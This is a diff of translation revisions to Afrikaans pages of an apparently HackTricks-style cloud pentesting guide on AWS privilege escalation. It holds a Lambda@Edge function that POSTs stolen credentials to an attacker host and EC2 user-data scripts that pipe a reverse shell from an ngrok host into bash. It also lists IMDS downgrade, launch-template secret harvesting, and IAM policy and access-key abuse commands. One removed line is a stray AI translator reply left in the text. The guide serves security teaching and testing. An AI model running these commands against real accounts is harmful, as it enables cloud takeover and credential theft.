+  };
+  // Send credentials to attacker's server
+  try {
+    await fetch("https://<attacker-ip>/steal-credentials", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify(credentials)
+    });
+  } catch (error) {
+    console.error("Error sending credentials:", error);
+  }
+  if (event.Records && event.Records[0] && event.Records[0].cf) {
+    // Modify response headers
+    const response = event.Records[0].cf.response;
+    response.headers["x-credential-theft"] = [
+      {
+        key: "X-Credential-Theft",
+        value: "Successful",
+      },
+    ];
+    return response;
+  }
+  return {
+    statusCode: 200,
+    body: JSON.stringify({ message: "Credentials stolen" })
+  };
+};
+```
+
+```bash
+# Package the Lambda@Edge function
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Create the Lambda@Edge function with a privileged role
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role <privileged-role-arn> \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region <region>
+
+# Publish a version of the function
+aws lambda publish-version --function-name malicious-lambda-edge --region <region>
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Pas die opgedateerde distribution-config toe (moet die huidige ETag gebruik)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id <distribution-id> \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Roep die funksie aan deur die distribution te versoek
+curl -v https://<distribution-domain>.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md

@@ -12,19 +12,19 @@ Vir meer **inligting oor EC2** kyk:
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-'n aanvaller kan **'n instance skep met 'n aangehegte IAM role en dan toegang tot die instance kry** om die IAM role credentials vanaf die metadata endpoint te steel.
+'n aanvaller kan **'n instance skep, 'n IAM role daaraan heg en dan toegang tot die instance kry** om die IAM role credentials vanaf die metadata endpoint te steel.
 
 - **Toegang via SSH**
 
-Start 'n nuwe instance en gebruik 'n **reeds geskepte** **ssh key** (`--key-name`) en ssh daarna in (as jy 'n nuwe wil skep, mag jy dalk die permissie `ec2:CreateKeyPair` nodig hê).
+Start 'n nuwe instance met 'n **gemaakte** **ssh key** (`--key-name`) en ssh dan daarna in (as jy 'n nuwe een wil skep sal jy moontlik die toestemming `ec2:CreateKeyPair` nodig hê).
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
 --security-group-ids <sg-id>
 ```
-- **Toegang via rev shell in user data**
+- **Access via rev shell in user data**
 
-Jy kan 'n nuwe instansie laat loop deur 'n **user data** (`--user-data`) te gebruik wat jou 'n **rev shell** sal stuur. Jy hoef nie op hierdie manier 'n security group te spesifiseer nie.
+Jy kan 'n nuwe instance laat hardloop deur 'n **user data** (`--user-data`) te gebruik wat jou 'n **rev shell** sal stuur. Jy hoef nie die security group op hierdie manier te spesifiseer nie.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Wees versigtig met GuradDuty as jy die credentials van die IAM role buite die instance gebruik:
+Wees versigtig met GuradDuty as jy die inlogbewyse van die IAM-rol buite die instance gebruik:
 
 {{#ref}}
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}
 
-**Potensiële impak:** Direkte privesc na enige EC2 role wat aan bestaande instance profiles gekoppel is.
+**Potensiële impak:** Direkte privesc na enige EC2-rol wat aan bestaande instance profiles gekoppel is.
 
 #### Privesc na ECS
 
-Met hierdie stel permissies kan jy ook **skep 'n EC2 instance en registreer dit binne 'n ECS cluster**. Op hierdie manier sal ECS **services** binne die **EC2 instance** waartoe jy toegang het, **run** word, en jy kan daardie services (docker containers) deurdring en hul **ECS roles attached** steel.
+Met hierdie stel permissies kan jy ook **'n EC2 instance skep en dit binne 'n ECS cluster registreer**. Op hierdie manier sal ECS **dienste** binne die **EC2 instance** waar jy toegang het, **uitgevoer** word en dan kan jy daardie dienste (docker containers) penetreer en **hul gekoppelde ECS-rolle steel**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-Om te leer hoe om **ECS-dienste te dwing om op hierdie nuwe EC2-instantie uitgevoer te word**, sien:
+Om te leer hoe om **ECS-dienste te dwing om in hierdie nuwe EC2-instance uitgevoer te word** kyk:
 
 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}
 
-As jy **nie 'n nuwe instansie kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die cluster registreer en die genoemde aanval uitvoer.
+As jy **nie 'n nuwe instance kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy dalk die instance binne die cluster registreer en die genoemde attack uitvoer.
 
-**Potensiële impak:** Direkte privesc op ECS-rolle wat aan tasks gekoppeld is.
+**Potential Impact:** Direkte privesc na ECS roles gekoppel aan tasks.
 
 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
 
-Soortgelyk aan die vorige scenario, 'n aanvaller met hierdie permissies kan **die IAM-rol van 'n gekompromitteerde instansie verander** sodat hy nuwe credentials kan steel.\
-Aangesien 'n instance profile slegs 1 rol kan hê, as die instance profile **reeds 'n rol het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
+Soortgelyk aan die vorige scenario, 'n attacker met hierdie permissies kan **die IAM role van 'n gekompromitteerde instance verander** sodat hy nuwe credentials kan steel.\
+Omdat 'n instance profile slegs 1 role kan hê, as die instance profile **alreeds 'n role het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-As die **instance profile 'n role het** en die attacker **kan dit nie verwyder nie**, is daar 'n ander ompad. Hy kan **vind** 'n **instance profile sonder 'n role** of **skep 'n nuwe een** (`iam:CreateInstanceProfile`), **voeg** die **role** by daardie **instance profile** (soos voorheen bespreek), en **assosieer die instance profile** compromised aan 'n compromised i**nstance:**
+As die **instance profile 'n role het** en die attacker **kan dit nie verwyder nie**, is daar 'n ander ompad. Hy kan **vind** 'n **instance profile sonder 'n role** of **skep 'n nuwe een** (`iam:CreateInstanceProfile`), **voeg** die **role** by daardie **instance profile** (soos voorheen bespreek), en **koppel die instance profile** compromised aan 'n compromised i**nstance:**
 
 - As die instance **het nie enige instance** profile nie (`ec2:AssociateIamInstanceProfile`)
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Potential Impact:** Direkte privesc na 'n ander EC2 role (jy moet 'n AWS EC2 instance gekompromitteer het en 'n ekstra toestemming of spesifieke instance profile status hê).
+**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n AWS EC2 instansie gekompromitteer het en 'n paar ekstra permissies of 'n spesifieke instance profile status hê).
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-Met hierdie permissions is dit moontlik om die instance profile wat aan 'n instance geassosieer is te verander, so as die aanvaller reeds toegang tot 'n instance gehad het sal hy in staat wees om credentials van meer instance profile roles te steel deur die een wat daarmee geassosieer is te verander.
+Met hierdie permissies is dit moontlik om die instance profile wat aan 'n instansie geassosieer is te verander, sodat as die aanvaller reeds toegang tot 'n instansie gehad het, hy in staat sal wees om inlogbewyse vir meer instance profile-rolle te steel deur die een wat daarmee geassosieer is te verander.
 
-- As dit **'n instance profile het**, kan jy die instance profile **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel**
+- As dit **'n instance profile het**, kan jy die instance profile (`ec2:DisassociateIamInstanceProfile`) **verwyder** en dit **koppel**
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-- of **vervang** die **instance profile** van die gekompromitteerde instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- of **vervang** die **instance profile** van die gekompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`).
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Potensiële impak:** Direkte privesc na 'n ander EC2 role (jy moet 'n AWS EC2 instance gekompromitteer het en sekere ekstra permissies of 'n spesifieke instance profile status hê).
+**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n AWS EC2 instance gekompromitteer het en addisionele toestemming of 'n spesifieke instance profile status hê).
 
 ### `ec2:RequestSpotInstances`,`iam:PassRole`
 
-'n aanvaller met die permissies **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **request** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
-Sodra die instance opgestart is, kan hy **steal the IAM role**.
+'n aanvaller met die toestemmings **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **versoek** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
+Sodra die instance geloop het, kan hy **steel die IAM role**.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`
 
-'n attacker met die **`ec2:ModifyInstanceAttribute`** kan die instance se attributte wysig. Onder andere kan hy die **user data** verander, wat beteken dat hy die instance kan laat **willekeurige data uitvoer.** Dit kan gebruik word om 'n **rev shell na die EC2 instance** te kry.
+'n Aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansie se attributte wysig. Onder andere kan hy die **user data** verander, wat beteken dat hy die instansie kan laat **run arbitrary data**. Dit kan gebruik word om 'n **rev shell to the EC2 instance** te kry.
 
-Let wel dat die attributte slegs **gewysig kan word terwyl die instance gestop is**, dus benodig dit die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`**.
+Let wel dat die attributte slegs **gewysig kan word terwyl die instansie gestop is**, dus is die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`** nodig.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potensiële impak:** Direkte privesc na enige EC2 IAM Role wat aan 'n geskepte instance geheg is.
+**Potensiële impak:** Direct privesc na enige EC2 IAM Role wat aan 'n geskepte instance gekoppel is.
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-'n aanvaller met die permissies **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **new Launch Template version** skep met 'n **rev shell in** die **user data** en **any EC2 IAM Role on it**, die standaardweergawe verander, en **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** sal die instansies herbegin met daardie template en die rev shell uitvoer.
+'n aanvaller met die permissies **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template version** skep met 'n **rev shell in** die **user data** en **enige EC2 IAM Role daarop**, die standaardweergawe verander, en **enige Autoscaler group** **gebruik** daardie **Launch Templat**e wat **gekonfigureer** is om die **latest** of die **default version** te gebruik, sal **opnuut die instances laat loop** wat daardie template gebruik en die rev shell uitvoer.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potential Impact:** Direkte privesc na 'n ander EC2 role.
+**Potensiële impak:** Direkte privesc na 'n ander EC2 role.
 
 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
 
-'n aanvaller met die permissies **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **skep 'n Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, daarna **skep 'n autoscaling group** vanaf daardie config en wag dat die rev shell die **IAM Role** steel.
+'n aanvaller met die toestemmings **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **create a Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, dan **create an autoscaling group** vanaf daardie config en wag dat die **rev shell** die **IAM Role** steel.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -200,24 +200,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 
 ### `!autoscaling`
 
-Die kombinasie van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** is **nie genoeg om bevoegdhede na 'n IAM-rol te eskaleer nie**, want om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg, het jy die toestemmings `iam:PassRole` en `ec2:RunInstances` nodig (wat 'n bekende privesc is).
+Die stel permissions **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** is **nie genoeg om te escalate** privileges na 'n IAM-rol nie, want om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **het jy die permissions `iam:PassRole` en `ec2:RunInstances` nodig** (wat 'n bekende privesc is).
 
 ### `ec2-instance-connect:SendSSHPublicKey`
 
-'n aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel by 'n gebruiker voeg en dit gebruik om toegang te kry (as hy ssh-toegang tot die instance het) of om bevoegdhede te eskaleer.
+'n aanvaller met die permission **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh key by 'n gebruiker voeg en dit gebruik om toegang te kry (indien hy ssh toegang tot die instance het) of om privileges te escalate.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**Potensiële impak:** Direkte privesc na die EC2 IAM-rolle wat aan lopende instances aangeheg is.
+**Potensiële Impak:** Direkte privesc na die EC2 IAM roles wat aan lopende instances gekoppel is.
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
-'n Aanvaller met die permissie **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële verbinding voeg**. As die seriële poort nie geaktiveer is nie, het die aanvaller die permissie **`ec2:EnableSerialConsoleAccess` nodig om dit te aktiveer**.
+'n Aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële konsole voeg**. As die seriële konsole nie geaktiveer is nie, benodig die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess` om dit te aktiveer**.
 
-Om aan die seriële poort te koppel, moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken.
+Om aan die seriële poort te koppel moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken.
 ```bash
 aws ec2 enable-serial-console-access
 
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-Hierdie manier is nie so nuttig vir privesc nie, aangesien jy 'n username en password moet ken om dit te exploit.
+Hierdie manier is nie baie nuttig vir privesc nie aangesien jy 'n gebruikersnaam en wagwoord moet ken om dit te exploiteer.
 
-**Potential Impact:** (Hoogs onbewysbaar) Direkte privesc na die EC2 IAM roles wat aan running instances gekoppel is.
+**Potential Impact:** (Baie moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances geheg is.
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 
-Aangesien launch templates weergawes het, kan 'n attacker met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** permissions hierdie exploit om sensitiewe inligting te ontdek, soos credentials in user data. Om dit te bereik, loop die volgende script deur alle weergawes van die beskikbare launch templates:
+Aangesien launch templates weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** permissies hierdie misbruik om sensitiewe inligting te ontdek, soos credentials in user data. Om dit te doen, loop die volgende script deur al die weergawes van die beskikbare launch templates:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -248,11 +248,11 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-In die bogenoemde opdragte, hoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek.
+In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek.
 
-As ons veronderstel `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie credentials gebruik om by AWS te autentiseer.
+Aangenome ons vind `aws_access_key_id` en `aws_secret_access_key`, kan ons hierdie inlogbewyse gebruik om by AWS te autentiseer.
 
-**Potensiële impak:** Direk privilege escalation na IAM user(s).
+**Potensiële impak:** Direkte privilege escalation na IAM gebruiker(s).
 
 ## Verwysings
 
@@ -260,12 +260,12 @@ As ons veronderstel `aws_access_key_id` en `aws_secret_access_key` vind, kan ons
 
 ### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
 
-'n Aanvaller met die vermoë om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer EC2 instance aan te roep, kan IMDS-beskermings verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instance loop. As die aanvaller 'n SSRF in so 'n app kan aktiveer, kan hulle die instance profile credentials terugkry en daarmee pivot.
+'n Aanvaller wat die vermoë het om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer EC2-instansie aan te roep, kan IMDS-beskermings verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instansie loop. As die aanvaller 'n SSRF in so 'n toepassing kan veroorsaak, kan hulle die instance profile credentials terugkry en daarmee pivot.
 
-- Vereiste permissies: `ec2:ModifyInstanceMetadataOptions` op die teikeninstance (plus die vermoë om 'n SSRF op die host te bereik/aktiveer).
-- Teikenbron: Die lopende EC2 instance met 'n aangehegte instance profile (IAM role).
+- Vereiste permissies: `ec2:ModifyInstanceMetadataOptions` op die teiken-instansie (plus die vermoë om 'n SSRF op die gasheer te bereik/veroorsaak).
+- Teikenhulpbron: Die lopende EC2-instansie met 'n aangehegte instance profile (IAM rol).
 
-Commands example:
+Opdragvoorbeeld:
 ```bash
 # 1) Check current metadata settings
 aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -292,5 +292,28 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2 rolpermissies.
+Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2 role permissions.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+ʼn Aanvaller met die ec2:ModifyInstanceMetadataOptions toestemming kan Instance Metadata Service (IMDS)-beskermings verswak — byvoorbeeld deur IMDSv1 af te dwing (waardeur HttpTokens nie vereis word nie) of deur HttpPutResponseHopLimit te verhoog — en sodoende die exfiltration van temporary credentials vergemaklik. Die mees relevante risiko-vektor is om HttpPutResponseHopLimit te verhoog: deur daardie hop limit (TTL) te verhoog, hou die 169.254.169.254 endpoint op om streng tot die VM se network namespace beperk te wees en kan deur ander processes/containers bereikbaar word, wat credential theft moontlik maak.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id <INSTANCE_ID> \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+'n Aanvaller met die ec2:ModifyImageAttribute en ec2:ModifySnapshotAttribute permissions kan AMIs of snapshots met ander AWS-rekeninge deel (of selfs openbaar maak), en daarmee images of volumes blootstel wat sensitiewe data soos konfigurasies, credentials, sertifikate of backups kan bevat. Deur 'n AMI se launch permissions of 'n snapshot se create-volume permissions te wysig, kan die aanvaller derde partye toelaat om instances te launch of disks vanaf daardie hulpbronne te mount en toegang tot hul inhoud te kry.
+
+Om 'n AMI met 'n ander rekening te deel:
+```bash
+aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```
+Om 'n EBS snapshot met 'n ander rekening te deel:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

@@ -12,80 +12,80 @@ Vir meer inligting oor IAM, sien:
 
 ### **`iam:CreatePolicyVersion`**
 
-Gee die vermoë om 'n nuwe IAM beleidsweergawe te skep, en om die behoefte aan die `iam:SetDefaultPolicyVersion`-toestemming te omseil deur die `--set-as-default` vlag te gebruik. Dit maak dit moontlik om pasgemaakte toestemmings te definieer.
+Gee die vermoë om 'n nuwe IAM-beleidsweergawe te skep, en om die behoefte aan die `iam:SetDefaultPolicyVersion`-toestemming te omseil deur die `--set-as-default` vlag te gebruik. Dit stel jou in staat om pasgemaakte toestemmings te definieer.
 
 **Exploit Command:**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**Impak:** Verhoog direk bevoegdhede deur enige aksie op enige hulpbron toe te laat.
+**Impak:** Eskaleer direk bevoegdhede deur enige aksie op enige hulpbron toe te laat.
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik bevoegdhede kan verhoog as die nuwe weergawe meer toestemmings het.
+Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het.
 
 **Bash Command:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impak:** Indirekte privilege escalation deur meer toestemmings moontlik te maak.
+**Impak:** Indirect privilege escalation by enabling more permissions.
 
 ### **`iam:CreateAccessKey`**
 
-Skakel in om access key ID en secret access key vir 'n ander gebruiker te skep, wat kan lei tot potensiële privilege escalation.
+Maak dit moontlik om 'n access key ID en secret access key vir 'n ander gebruiker te skep, wat kan lei tot potensiële privilege escalation.
 
 **Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impak:** Direkte privilege escalation deur die aanname van 'n ander gebruiker se extended permissions.
+**Impak:** Direkte privilege escalation deur die aanname van 'n ander gebruiker se uitgebreide permissies.
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-Laat toe om 'n login profile te skep of by te werk, insluitend die instel van passwords vir AWS console login, wat lei tot direkte privilege escalation.
+Laat toe om 'n aanmeldingsprofiel te skep of op te dateer, insluitend die instel van wagwoorde vir AWS console-aanmelding, wat lei tot direkte privilege escalation.
 
-**Exploit for Creation:**
+**Exploit vir Skep:**
 ```bash
 aws iam create-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Exploit vir Opdatering:**
+**Exploit vir Update:**
 ```bash
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Impak:** Direkte privilege escalation deur in te teken as "any" gebruiker.
+**Impak:** Direkte privilege escalation deur aan te meld as "any" gebruiker.
 
 ### **`iam:UpdateAccessKey`**
 
-Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde access key besit.
+Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik tot onbevoegde toegang kan lei as die aanvaller die gedeaktiveerde key in besit het.
 
 **Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**Impact:** Direkte privilege escalation deur access keys te heraktiveer.
+**Impak:** Direkte privilege escalation deur toegangssleutels te heraktiveer.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-Sta toe om credentials te genereer of te reset vir spesifieke AWS services (bv. CodeCommit, Amazon Keyspaces), en erf die permissies van die geassosieerde gebruiker.
+Maak dit moontlik om inlogbewyse vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of terug te stel, en erf die permissies van die geassosieerde gebruiker.
 
 **Exploit for Creation:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Exploit vir Herstel:**
+**Exploit vir Terugstel:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impak:** Direct privilege escalation within the user's service permissions.
+**Impak:** Direkte eskalasie van voorregte binne die gebruiker se dienspermissies.
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-Laat toe om policies aan users of groups te koppel, wat direk privileges eskaleer deur die permissions van die aangehegte policy te erf.
+Laat toe om policies aan gebruikers of groepe te heg, wat direk die voorregte verhoog deur die permissies van die gekoppelde policy te erf.
 
-**Exploit for User:**
+**Exploit vir Gebruiker:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impak:** Direkte privilege escalation na enigiets wat die policy toeken.
+**Impact:** Direkte privilege escalation na enigiets wat deur die beleid verleen word.
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-Laat toe om policies aan roles, users of groups te koppel of te plaas, wat direkte privilege escalation moontlik maak deur addisionele permissions te verleen.
+Laat toe om beleide aan rolle, gebruikers of groepe te koppel of te plaas, en maak direkte privilege escalation moontlik deur bykomende toestemmings toe te ken.
 
 **Exploit for Role:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Exploit vir Inline Policies:**
+**Exploit vir Inline-beleide:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-I don't have the README.md content. Paste the file (or the portion you want translated) and I'll translate it to Afrikaans, preserving markdown, code, links and tags per your instructions.
+Jy kan ’n beleid soos volg gebruik:
 ```json
 {
 "Version": "2012-10-17",
@@ -127,23 +127,23 @@ I don't have the README.md content. Paste the file (or the portion you want tran
 ]
 }
 ```
-**Impak:** Direkte eskalasie van regte deur permissies by te voeg via beleide.
+**Impak:** Direct privilege escalation deur permissions by te voeg via policies.
 
 ### **`iam:AddUserToGroup`**
 
-Laat toe om jouself by 'n IAM-groep te voeg, en verhoog bevoegdhede deur die groep se permissies te erf.
+Maak dit moontlik om jouself by 'n IAM group te voeg, en privilege escalation te bewerkstellig deur die group se permissions te erf.
 
 **Exploit:**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**Impact:** Direkte privilege escalation na die vlak van die groep se regte.
+**Impact:** Direkte privilege escalation na die vlak van die groep se permissions.
 
